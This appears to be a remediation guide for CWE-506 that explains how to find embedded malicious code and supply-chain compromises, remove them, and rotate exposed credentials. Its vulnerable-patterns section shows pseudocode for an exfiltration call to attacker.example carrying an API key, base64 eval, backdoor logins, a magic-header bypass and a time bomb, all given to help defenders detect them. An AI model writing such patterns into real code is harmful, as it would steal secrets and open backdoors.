Skip to content

CWE-506: Embedded Malicious Code

Overview

Embedded malicious code includes backdoors, logic and time bombs, trojans, and spyware intentionally placed in source code or dependencies. It also arrives through the supply chain, in a compromised npm package, gem or JAR.

Relationship to Other CWEs

  • CWE-506 (this page) - malicious code introduced into the product, and the stand-in for the three children with no page of their own
  • CWE-511 (Logic/Time Bomb) - the one child with a page here: malicious code that lies dormant until a date, event, or condition triggers it. Use it when the finding is specifically about a conditional trigger
  • CWE-507 (Trojan Horse) - a child with no page here
  • CWE-510 (Trapdoor) - the backdoor case. No page here
  • CWE-512 (Spyware) - code that exfiltrates data about the user or system. No page here

Use this page for those three and for supply-chain or dependency-sourced malicious code generally.

OWASP Classification

A08:2025 - Software or Data Integrity Failures

Risk

Critical: Malicious code runs with whatever access the application has - and in CI with the build system's credentials - so it can open a backdoor past authentication, exfiltrate every secret it can reach, or sit on a timer and destroy data after deployment.

Remediation Steps

Core Principle: Remove the malicious code and treat the finding as a compromise of everything that code could reach - pinning, signing and review controls prevent the next one, they don't undo this one.

Locate Embedded Malicious Code or Compromised Dependencies

  • Check npm packages, pip packages, gems and JARs for unexpected additions or changes.
  • Read recent commits for suspicious changes, especially from new or unfamiliar contributors.
  • Look for obfuscation: base64 strings, eval/exec calls, encoded payloads.
  • Look for behavior the code's stated purpose doesn't explain: network calls, file access, process execution.
  • Look for backdoors: hidden authentication bypasses and hardcoded credentials.

Remove the Code and Treat the Finding as a Compromise (Primary Defense)

A CWE-506 finding means the malicious code is already in the build. Deleting it is necessary but is not the whole fix, because the code either ran or was positioned to run with whatever access the application has:

  • Remove the code, or the compromised package version, and rebuild from a source tree you have reviewed. Don't patch the built artifact.
  • Rotate every credential the code could reach, on the assumption it read them the first time it executed: environment variables, CI secrets, cloud role credentials, database passwords, API tokens, signing keys. Rotate them rather than just revoking one identity's access.
  • Establish what it did. Check outbound connections to the destinations named in the code, look for anything it may have installed to persist (scheduled tasks, cron entries, startup hooks, added accounts), and check whether it also ran in CI - where it would have held the build system's credentials, not just the application's.
  • Work out how it landed: which commit or dependency version introduced it, which account authored or published that change, whether that account is still trusted, and which review or approval step it passed through. Until that is answered you can't tell whether removing the code removed the attacker's access.
  • Preserve the evidence before cleaning up: the built artifact, the lock file as it stood, the build logs. A rebuild destroys the record of what actually shipped.

The sections below are what stops the next one. They are not a substitute for the steps above, and none of them removes code that is already in the tree.

Pin Dependencies to Reviewed Versions (Prevention)

Commit lock files (package-lock.json, Gemfile.lock, poetry.lock) to version control and install from them exactly, so a build resolves to the versions and content hashes that were reviewed rather than to whatever a mutable version range picks up at install time. The flag differs by tool: npm ci (npm has no separate frozen-lockfile flag - npm ci is the equivalent), yarn install --immutable on Yarn 2+ (--frozen-lockfile on Yarn 1), pnpm install --frozen-lockfile, bundle config set --local frozen true for Bundler, poetry install (which installs from poetry.lock by default), and pip install --require-hashes against a hash-pinned requirements file. Where the ecosystem supports it, verify package signatures before installing.

Pinning stops a future substitution; it does nothing about malicious code already present. A lock file will pin a compromised version by content hash just as faithfully as a clean one.

Scan Dependencies for Known Vulnerabilities (Defense in Depth)

npm audit, pip-audit and OWASP Dependency-Check match your dependency tree against databases of publicly disclosed vulnerabilities. Run them on every build rather than occasionally and locally - a package that was clean at review time can be compromised in a later release. But be clear about what they are: none of them reads the dependency's code, and a freshly trojaned release has no CVE against it, so a clean audit is not evidence a dependency isn't malicious. pip-audit's own documentation says it "is not a static code analyzer" and that you "must not assume that pip-audit will defend you against malicious packages".

Known-malicious packages are a partial exception. The GitHub Advisory Database carries malware advisories alongside vulnerability ones, fed from the npm security team and the OpenSSF Malicious Packages project, and npm audit matches against that database - so it does flag malicious packages that somebody has already reported and published. Dedicated malicious-package scanning widens the net: Safety CLI's safety scan (which replaced the deprecated safety check in Safety CLI 3.x) checks a malicious-package database of its own. None of it closes the window between publication and detection, which is precisely where a supply-chain attack lives, so treat a clean result as an extra signal rather than a guarantee.

Review for Suspicious Code Patterns

Manually or with static analysis (bandit, semgrep, FindSecBugs, or an equivalent SAST tool for the language in use), look for the specific patterns in Common Vulnerable Patterns below - obfuscated execution, unexplained outbound network calls, hardcoded backdoor credentials, and conditional destructive logic. None of these has a legitimate reason to appear in typical application code, so treat any instance as a serious finding whether or not you can prove intent.

Test the Fix

  • Confirm removed backdoor credentials/headers no longer authenticate
  • Confirm every credential the code could reach has been rotated, and that the old values are rejected
  • Confirm lock files are committed and CI installs from them exactly (npm ci, not npm install)
  • Confirm dependency scanning runs in CI and fails the build on new critical findings
  • Re-scan with the security scanner to confirm the finding is resolved

Common Vulnerable Patterns

// SUSPICIOUS - obfuscated code execution
execute(base64_decode('...'))

// SUSPICIOUS - unexpected outbound network call carrying sensitive data
http_get('http://attacker.example/?data=' + api_key)

// SUSPICIOUS - hidden backdoor
if username == 'admin_backdoor' and password == 'hardcoded_secret':
    return authenticate_success()   // backdoor - bypasses normal authentication entirely

if request.header('X-Secret-Header') == 'bypass':
    session.authenticated = true    // authentication bypass via a magic header

// SUSPICIOUS - time bomb
if current_date() > fixed_future_date:
    delete_all_data()               // destructive action gated on nothing but the calendar

Supply-chain indicators are worth recognizing too: a typosquatted package name one character off a popular one, a newly published package with an implausibly high download count, an unexplained maintainer change on a package you depend on, and dependencies that appeared without a reviewed change to your own dependency manifest.

Additional Resources